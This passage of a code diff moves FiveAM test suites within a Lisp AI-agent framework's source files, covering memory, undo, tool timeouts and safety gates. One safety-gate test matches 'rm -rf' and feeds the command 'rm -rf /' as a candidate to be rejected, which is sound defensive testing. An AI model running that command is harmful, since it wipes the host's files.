:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx action))
|
||||
(list :type :LOG :payload (list :text "Last-mile block"))))
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0
|
||||
:approved-action '(:type :REQUEST :target :cli :payload (:text "blocked")))))
|
||||
(loop-gate-act signal)
|
||||
(is (eq :acted (getf signal :status)))
|
||||
(is (null (getf signal :approved-action)))))
|
||||
|
||||
(test test-loop-gate-act-preserves-meta
|
||||
"Contract 1: signal metadata is not mutated by loop-gate-act."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((meta '(:source :tui :session "s1"))
|
||||
(signal (list :type :EVENT :status nil :depth 0 :meta meta
|
||||
:approved-action '(:target :cli :payload (:text "test")))))
|
||||
(loop-gate-act signal)
|
||||
(is (equal meta (getf signal :meta)))))
|
||||
|
||||
(test test-action-dispatch-routes
|
||||
"Contract 3: action-dispatch routes to registered actuators without crashing."
|
||||
(actuator-initialize)
|
||||
(let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
|
||||
'(:type :EVENT :depth 0))))
|
||||
(is (numberp result) "eval should return a number")))
|
||||
|
||||
(test test-tool-timeout-shell
|
||||
"Contract v0.7.2: shell timeout is 300 seconds."
|
||||
(is (= 300 (passepartout::tool-timeout "shell"))))
|
||||
|
||||
(test test-tool-timeout-unknown
|
||||
"Contract v0.7.2: unknown tool gets default 120s."
|
||||
(is (= 120 (passepartout::tool-timeout "nonexistent-tool"))))
|
||||
|
||||
(test test-verify-write-match
|
||||
"Contract v0.7.2: verify-write returns T on match."
|
||||
(let ((path "/tmp/passepartout-verify-test.org")
|
||||
(content "test content"))
|
||||
(with-open-file (f path :direction :output :if-exists :supersede)
|
||||
(write-string content f))
|
||||
(unwind-protect
|
||||
(is (passepartout::verify-write path content))
|
||||
(ignore-errors (delete-file path)))))
|
||||
|
||||
(test test-tool-timeout-enforcement
|
||||
"Contract v0.7.2: tool exceeding timeout returns :error with timeout message."
|
||||
(setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1)
|
||||
(setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "sleep-forever"
|
||||
:read-only-p nil
|
||||
:body (lambda (args)
|
||||
(declare (ignore args))
|
||||
(sleep 10)
|
||||
"done")))
|
||||
(unwind-protect
|
||||
(let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil)))
|
||||
(ctx '(:depth 0))
|
||||
(result (passepartout::action-tool-execute action ctx)))
|
||||
(is (eq :EVENT (getf result :TYPE)))
|
||||
(let ((payload (getf result :PAYLOAD)))
|
||||
(is (eq :tool-error (getf payload :SENSOR)))
|
||||
(is (search "timed out" (string-downcase (getf payload :MESSAGE))))))
|
||||
(remhash "sleep-forever" passepartout::*cognitive-tool-registry*)
|
||||
(remhash "sleep-forever" passepartout::*tool-timeouts*)))
|
||||
|
||||
(test test-tool-cache-read-only
|
||||
"Contract v0.7.2: read-only tool results are cached and reused."
|
||||
(let ((call-count 0))
|
||||
(setf (gethash "cache-test" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "cache-test"
|
||||
:read-only-p t
|
||||
:body (lambda (args)
|
||||
(declare (ignore args))
|
||||
(incf call-count)
|
||||
(list :status :success :content (format nil "call ~d" call-count)))))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(clrhash passepartout::*tool-cache*)
|
||||
(let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil)))
|
||||
(ctx '(:depth 0))
|
||||
(r1 (passepartout::action-tool-execute action ctx))
|
||||
(r2 (passepartout::action-tool-execute action ctx)))
|
||||
(is (= 1 call-count) "Second call should hit cache, not re-execute")
|
||||
(let ((p1 (getf r1 :PAYLOAD))
|
||||
(p2 (getf r2 :PAYLOAD)))
|
||||
(is (string= (getf (getf p1 :RESULT) :CONTENT)
|
||||
(getf (getf p2 :RESULT) :CONTENT))))))
|
||||
(remhash "cache-test" passepartout::*cognitive-tool-registry*)
|
||||
(clrhash passepartout::*tool-cache*))))
|
||||
|
||||
@@ -1,135 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-memory-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:memory-suite))
|
||||
|
||||
(in-package :passepartout-memory-tests)
|
||||
|
||||
(def-suite memory-suite :description "Tests for the Merkle-Tree Memory")
|
||||
(in-suite memory-suite)
|
||||
|
||||
(test merkle-hash-consistency
|
||||
"Contract 2: identical ASTs produce identical Merkle hashes."
|
||||
(let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id1 (ingest-ast ast1)))
|
||||
(let ((hash1 (memory-object-hash (memory-object-get id1))))
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id2 (ingest-ast ast1)))
|
||||
(is (equal hash1 (memory-object-hash (memory-object-get id2)))))))))
|
||||
|
||||
(test merkle-hash-different
|
||||
"Contract 2: distinct ASTs produce different Merkle hashes."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil))
|
||||
(ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil))
|
||||
(id1 (ingest-ast ast1))
|
||||
(id2 (ingest-ast ast2))
|
||||
(hash1 (memory-object-hash (memory-object-get id1)))
|
||||
(hash2 (memory-object-hash (memory-object-get id2))))
|
||||
(is (not (equal hash1 hash2)))))
|
||||
|
||||
(test test-ingest-ast-returns-id
|
||||
"Contract 1: ingest-ast returns a string ID and stores the object."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil))))
|
||||
(is (stringp id))
|
||||
(is (not (null id)))))
|
||||
|
||||
(test test-memory-object-get
|
||||
"Contract 3: memory-object-get retrieves an object by ID after ingest."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil))))
|
||||
(let ((obj (memory-object-get id)))
|
||||
(is (not (null obj)))
|
||||
(is (eq :HEADLINE (memory-object-type obj)))
|
||||
(is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE))))))
|
||||
|
||||
(test test-snapshot-and-rollback
|
||||
"Contract 4+5: snapshot-memory saves state; rollback-memory restores it."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf passepartout::*memory-snapshots* nil)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil))
|
||||
(snapshot-memory)
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil))
|
||||
(rollback-memory 0)
|
||||
(is (not (null (memory-object-get "snap-a"))))
|
||||
(is (null (memory-object-get "snap-b"))))
|
||||
|
||||
(test test-undo-snapshot-restore
|
||||
"Contract v0.7.2: undo-snapshot captures state, undo restores."
|
||||
(let ((orig-store passepartout::*memory-store*)
|
||||
(orig-undo passepartout::*undo-stack*)
|
||||
(orig-redo passepartout::*redo-stack*))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf passepartout::*memory-store* (make-hash-table :test 'equal)
|
||||
passepartout::*undo-stack* nil
|
||||
passepartout::*redo-stack* nil)
|
||||
(passepartout::undo-snapshot)
|
||||
(setf (gethash "x" passepartout::*memory-store*) "hello")
|
||||
(is (string= "hello" (gethash "x" passepartout::*memory-store*)))
|
||||
(is (passepartout::undo))
|
||||
(is (null (gethash "x" passepartout::*memory-store*))))
|
||||
(setf passepartout::*memory-store* orig-store
|
||||
passepartout::*undo-stack* orig-undo
|
||||
passepartout::*redo-stack* orig-redo))))
|
||||
|
||||
(test test-undo-redo-cycle
|
||||
"Contract v0.7.2: redo restores undone state."
|
||||
(let ((orig-store passepartout::*memory-store*)
|
||||
(orig-undo passepartout::*undo-stack*)
|
||||
(orig-redo passepartout::*redo-stack*))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf passepartout::*memory-store* (make-hash-table :test 'equal)
|
||||
passepartout::*undo-stack* nil
|
||||
passepartout::*redo-stack* nil)
|
||||
(passepartout::undo-snapshot)
|
||||
(setf (gethash "y" passepartout::*memory-store*) "world")
|
||||
(is (passepartout::undo))
|
||||
(is (null (gethash "y" passepartout::*memory-store*)))
|
||||
(is (passepartout::redo))
|
||||
(is (string= "world" (gethash "y" passepartout::*memory-store*))))
|
||||
(setf passepartout::*memory-store* orig-store
|
||||
passepartout::*undo-stack* orig-undo
|
||||
passepartout::*redo-stack* orig-redo))))
|
||||
|
||||
(test test-undo-empty-stack-nil
|
||||
"Contract v0.7.2: undo returns nil on empty stack."
|
||||
(let ((orig-undo passepartout::*undo-stack*))
|
||||
(unwind-protect
|
||||
(progn (setf passepartout::*undo-stack* nil)
|
||||
(is (null (passepartout::undo))))
|
||||
(setf passepartout::*undo-stack* orig-undo))))
|
||||
|
||||
(test test-audit-node-found
|
||||
"Contract v0.7.2: audit-node returns info for existing object."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf (gethash "audit-1" passepartout::*memory-store*)
|
||||
(passepartout::make-memory-object :id "audit-1" :type :HEADLINE
|
||||
:version 1 :hash "abc123" :scope :memex))
|
||||
(let ((info (passepartout::audit-node "audit-1")))
|
||||
(is (not (null info)))
|
||||
(is (eq :HEADLINE (getf info :type)))
|
||||
(is (string= "abc123" (getf info :hash)))))
|
||||
|
||||
(test test-audit-node-not-found
|
||||
"Contract v0.7.2: audit-node returns nil for nonexistent id."
|
||||
(is (null (passepartout::audit-node "nonexistent-xxxx"))))
|
||||
|
||||
(test test-audit-verify-hash
|
||||
"Contract v0.7.2: audit-verify-hash returns (total . missing)."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf (gethash "a" passepartout::*memory-store*)
|
||||
(passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc"))
|
||||
(let ((result (passepartout::audit-verify-hash)))
|
||||
(is (= 1 (car result)))
|
||||
(is (= 0 (cdr result)))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *memory-store* (make-hash-table :test 'equal))
|
||||
@@ -349,3 +217,135 @@ Returns (total . missing-hashes)."
|
||||
(incf missing)))))
|
||||
*memory-store*)
|
||||
(cons total missing)))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-memory-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:memory-suite))
|
||||
|
||||
(in-package :passepartout-memory-tests)
|
||||
|
||||
(def-suite memory-suite :description "Tests for the Merkle-Tree Memory")
|
||||
(in-suite memory-suite)
|
||||
|
||||
(test merkle-hash-consistency
|
||||
"Contract 2: identical ASTs produce identical Merkle hashes."
|
||||
(let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id1 (ingest-ast ast1)))
|
||||
(let ((hash1 (memory-object-hash (memory-object-get id1))))
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id2 (ingest-ast ast1)))
|
||||
(is (equal hash1 (memory-object-hash (memory-object-get id2)))))))))
|
||||
|
||||
(test merkle-hash-different
|
||||
"Contract 2: distinct ASTs produce different Merkle hashes."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil))
|
||||
(ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil))
|
||||
(id1 (ingest-ast ast1))
|
||||
(id2 (ingest-ast ast2))
|
||||
(hash1 (memory-object-hash (memory-object-get id1)))
|
||||
(hash2 (memory-object-hash (memory-object-get id2))))
|
||||
(is (not (equal hash1 hash2)))))
|
||||
|
||||
(test test-ingest-ast-returns-id
|
||||
"Contract 1: ingest-ast returns a string ID and stores the object."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil))))
|
||||
(is (stringp id))
|
||||
(is (not (null id)))))
|
||||
|
||||
(test test-memory-object-get
|
||||
"Contract 3: memory-object-get retrieves an object by ID after ingest."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil))))
|
||||
(let ((obj (memory-object-get id)))
|
||||
(is (not (null obj)))
|
||||
(is (eq :HEADLINE (memory-object-type obj)))
|
||||
(is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE))))))
|
||||
|
||||
(test test-snapshot-and-rollback
|
||||
"Contract 4+5: snapshot-memory saves state; rollback-memory restores it."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf passepartout::*memory-snapshots* nil)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil))
|
||||
(snapshot-memory)
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil))
|
||||
(rollback-memory 0)
|
||||
(is (not (null (memory-object-get "snap-a"))))
|
||||
(is (null (memory-object-get "snap-b"))))
|
||||
|
||||
(test test-undo-snapshot-restore
|
||||
"Contract v0.7.2: undo-snapshot captures state, undo restores."
|
||||
(let ((orig-store passepartout::*memory-store*)
|
||||
(orig-undo passepartout::*undo-stack*)
|
||||
(orig-redo passepartout::*redo-stack*))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf passepartout::*memory-store* (make-hash-table :test 'equal)
|
||||
passepartout::*undo-stack* nil
|
||||
passepartout::*redo-stack* nil)
|
||||
(passepartout::undo-snapshot)
|
||||
(setf (gethash "x" passepartout::*memory-store*) "hello")
|
||||
(is (string= "hello" (gethash "x" passepartout::*memory-store*)))
|
||||
(is (passepartout::undo))
|
||||
(is (null (gethash "x" passepartout::*memory-store*))))
|
||||
(setf passepartout::*memory-store* orig-store
|
||||
passepartout::*undo-stack* orig-undo
|
||||
passepartout::*redo-stack* orig-redo))))
|
||||
|
||||
(test test-undo-redo-cycle
|
||||
"Contract v0.7.2: redo restores undone state."
|
||||
(let ((orig-store passepartout::*memory-store*)
|
||||
(orig-undo passepartout::*undo-stack*)
|
||||
(orig-redo passepartout::*redo-stack*))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf passepartout::*memory-store* (make-hash-table :test 'equal)
|
||||
passepartout::*undo-stack* nil
|
||||
passepartout::*redo-stack* nil)
|
||||
(passepartout::undo-snapshot)
|
||||
(setf (gethash "y" passepartout::*memory-store*) "world")
|
||||
(is (passepartout::undo))
|
||||
(is (null (gethash "y" passepartout::*memory-store*)))
|
||||
(is (passepartout::redo))
|
||||
(is (string= "world" (gethash "y" passepartout::*memory-store*))))
|
||||
(setf passepartout::*memory-store* orig-store
|
||||
passepartout::*undo-stack* orig-undo
|
||||
passepartout::*redo-stack* orig-redo))))
|
||||
|
||||
(test test-undo-empty-stack-nil
|
||||
"Contract v0.7.2: undo returns nil on empty stack."
|
||||
(let ((orig-undo passepartout::*undo-stack*))
|
||||
(unwind-protect
|
||||
(progn (setf passepartout::*undo-stack* nil)
|
||||
(is (null (passepartout::undo))))
|
||||
(setf passepartout::*undo-stack* orig-undo))))
|
||||
|
||||
(test test-audit-node-found
|
||||
"Contract v0.7.2: audit-node returns info for existing object."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf (gethash "audit-1" passepartout::*memory-store*)
|
||||
(passepartout::make-memory-object :id "audit-1" :type :HEADLINE
|
||||
:version 1 :hash "abc123" :scope :memex))
|
||||
(let ((info (passepartout::audit-node "audit-1")))
|
||||
(is (not (null info)))
|
||||
(is (eq :HEADLINE (getf info :type)))
|
||||
(is (string= "abc123" (getf info :hash)))))
|
||||
|
||||
(test test-audit-node-not-found
|
||||
"Contract v0.7.2: audit-node returns nil for nonexistent id."
|
||||
(is (null (passepartout::audit-node "nonexistent-xxxx"))))
|
||||
|
||||
(test test-audit-verify-hash
|
||||
"Contract v0.7.2: audit-verify-hash returns (total . missing)."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf (gethash "a" passepartout::*memory-store*)
|
||||
(passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc"))
|
||||
(let ((result (passepartout::audit-verify-hash)))
|
||||
(is (= 1 (car result)))
|
||||
(is (= 0 (cdr result)))))
|
||||
|
||||
@@ -16,6 +16,8 @@
|
||||
;; ── Core: Pipeline ──
|
||||
#:main
|
||||
#:log-message
|
||||
#:*log-buffer*
|
||||
#:*log-lock*
|
||||
#:process-signal
|
||||
#:loop-process
|
||||
#:perceive-gate
|
||||
|
||||
@@ -1,47 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-pipeline-perceive-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:pipeline-perceive-suite))
|
||||
|
||||
(in-package :passepartout-pipeline-perceive-tests)
|
||||
|
||||
(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline")
|
||||
(in-suite pipeline-perceive-suite)
|
||||
|
||||
(test test-loop-gate-perceive
|
||||
"Contract 1: :buffer-update ingests AST and sets :perceived status."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))
|
||||
(is (not (null (gethash "test-node" passepartout::*memory-store*))))))
|
||||
|
||||
(test test-depth-limiting
|
||||
"Edge: depth 11 signals are rejected by the pipeline."
|
||||
(let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
|
||||
(is (null (process-signal runaway-signal)))))
|
||||
|
||||
(test test-loop-gate-perceive-unknown-sensor
|
||||
"Contract 1: unknown sensors pass through and reach :perceived."
|
||||
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric)))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))))
|
||||
|
||||
(test test-loop-gate-perceive-no-ast
|
||||
"Contract 1: :buffer-update without AST doesn't crash, reaches :perceived."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update)))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))))
|
||||
|
||||
(test test-depth-limiting-normal
|
||||
"Contract 1: signals at normal depth pass through without rejection."
|
||||
(let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat))))
|
||||
(is (not (eq :rejected (getf normal-signal :status)))
|
||||
"Signal at normal depth should not be rejected")))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *loop-interrupt* nil)
|
||||
@@ -157,3 +113,47 @@ FN receives (signal) and returns T if consumed, nil to continue."
|
||||
|
||||
(defun perceive-gate (signal)
|
||||
(loop-gate-perceive signal))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-pipeline-perceive-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:pipeline-perceive-suite))
|
||||
|
||||
(in-package :passepartout-pipeline-perceive-tests)
|
||||
|
||||
(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline")
|
||||
(in-suite pipeline-perceive-suite)
|
||||
|
||||
(test test-loop-gate-perceive
|
||||
"Contract 1: :buffer-update ingests AST and sets :perceived status."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))
|
||||
(is (not (null (gethash "test-node" passepartout::*memory-store*))))))
|
||||
|
||||
(test test-depth-limiting
|
||||
"Edge: depth 11 signals are rejected by the pipeline."
|
||||
(let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
|
||||
(is (null (process-signal runaway-signal)))))
|
||||
|
||||
(test test-loop-gate-perceive-unknown-sensor
|
||||
"Contract 1: unknown sensors pass through and reach :perceived."
|
||||
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric)))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))))
|
||||
|
||||
(test test-loop-gate-perceive-no-ast
|
||||
"Contract 1: :buffer-update without AST doesn't crash, reaches :perceived."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update)))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))))
|
||||
|
||||
(test test-depth-limiting-normal
|
||||
"Contract 1: signals at normal depth pass through without rejection."
|
||||
(let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat))))
|
||||
(is (not (eq :rejected (getf normal-signal :status)))
|
||||
"Signal at normal depth should not be rejected")))
|
||||
|
||||
@@ -1,45 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-immune-system-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:immune-suite))
|
||||
|
||||
(in-package :passepartout-immune-system-tests)
|
||||
|
||||
(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)")
|
||||
(in-suite immune-suite)
|
||||
|
||||
(test loop-error-injection
|
||||
"Contract 1: a crash in think/decide triggers :loop-error stimulus."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout:defskill :evil-skill
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
|
||||
:probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE"))
|
||||
:deterministic nil)
|
||||
(passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(let ((logs (if (fboundp 'passepartout::context-get-system-logs)
|
||||
(passepartout:context-get-system-logs 20)
|
||||
nil)))
|
||||
(is (or (null logs) ; no log service available — degraded but not broken
|
||||
(not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs)))))))
|
||||
|
||||
(test test-process-signal-normal-path
|
||||
"Contract 1: a valid signal passes through the pipeline without crash."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(handler-case
|
||||
(let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat))))
|
||||
(process-signal signal)
|
||||
(pass))
|
||||
(error (c)
|
||||
(fail "Pipeline crashed on normal signal: ~a" c))))
|
||||
|
||||
(test test-loop-process-returns-nil-on-deep
|
||||
"Contract 1: depth > 10 returns nil from loop-process."
|
||||
(let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
|
||||
(is (null result))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(define-condition passepartout-error (error)
|
||||
@@ -230,3 +188,45 @@
|
||||
(when *shutdown-save-enabled* (save-memory-to-disk))
|
||||
(return))
|
||||
(sleep sleep-interval))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-immune-system-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:immune-suite))
|
||||
|
||||
(in-package :passepartout-immune-system-tests)
|
||||
|
||||
(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)")
|
||||
(in-suite immune-suite)
|
||||
|
||||
(test loop-error-injection
|
||||
"Contract 1: a crash in think/decide triggers :loop-error stimulus."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout:defskill :evil-skill
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
|
||||
:probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE"))
|
||||
:deterministic nil)
|
||||
(passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(let ((logs (if (fboundp 'passepartout::context-get-system-logs)
|
||||
(passepartout:context-get-system-logs 20)
|
||||
nil)))
|
||||
(is (or (null logs) ; no log service available — degraded but not broken
|
||||
(not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs)))))))
|
||||
|
||||
(test test-process-signal-normal-path
|
||||
"Contract 1: a valid signal passes through the pipeline without crash."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(handler-case
|
||||
(let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat))))
|
||||
(process-signal signal)
|
||||
(pass))
|
||||
(error (c)
|
||||
(fail "Pipeline crashed on normal signal: ~a" c))))
|
||||
|
||||
(test test-loop-process-returns-nil-on-deep
|
||||
"Contract 1: depth > 10 returns nil from loop-process."
|
||||
(let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
|
||||
(is (null result))))
|
||||
|
||||
@@ -1,185 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-pipeline-reason-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:pipeline-reason-suite))
|
||||
|
||||
(in-package :passepartout-pipeline-reason-tests)
|
||||
|
||||
(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline")
|
||||
(in-suite pipeline-reason-suite)
|
||||
|
||||
(test test-decide-gate-safety
|
||||
"Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-safety
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(if (search "rm -rf" (format nil "~s" action))
|
||||
(list :type :LOG :payload (list :text "Rejected"))
|
||||
action)))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :LOG (getf result :type)))))
|
||||
|
||||
(test test-cognitive-verify-pass-through
|
||||
"Contract 1: safe actions pass through cognitive-verify unchanged."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-passthrough
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
action))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (equal (getf candidate :payload) (getf result :payload)))
|
||||
(is (getf result :gate-trace))))
|
||||
|
||||
(test test-cognitive-verify-empty-registry
|
||||
"Contract 1: with no gates registered, action passes through unchanged."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (equal (getf candidate :payload) (getf result :payload)))))
|
||||
|
||||
(test test-cognitive-verify-approval-required
|
||||
"Contract 1: gate returning :approval-required produces an approval event."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-approval
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(list :type :EVENT :level :approval-required
|
||||
:payload (list :action action))))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(is (eq :EVENT (getf result :type)))))
|
||||
|
||||
(test test-loop-gate-reason-passthrough
|
||||
"Contract 2: non-user-input sensors pass through loop-gate-reason unchanged."
|
||||
(let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system)))
|
||||
(result (loop-gate-reason signal)))
|
||||
(is (not (null result)))))
|
||||
|
||||
(test test-loop-gate-reason-sets-status
|
||||
"Contract 2: loop-gate-reason sets :status on :user-input signals."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((passepartout::*provider-cascade* nil)
|
||||
(signal (list :type :EVENT :payload (list :sensor :user-input :text "test")))
|
||||
(result (loop-gate-reason signal)))
|
||||
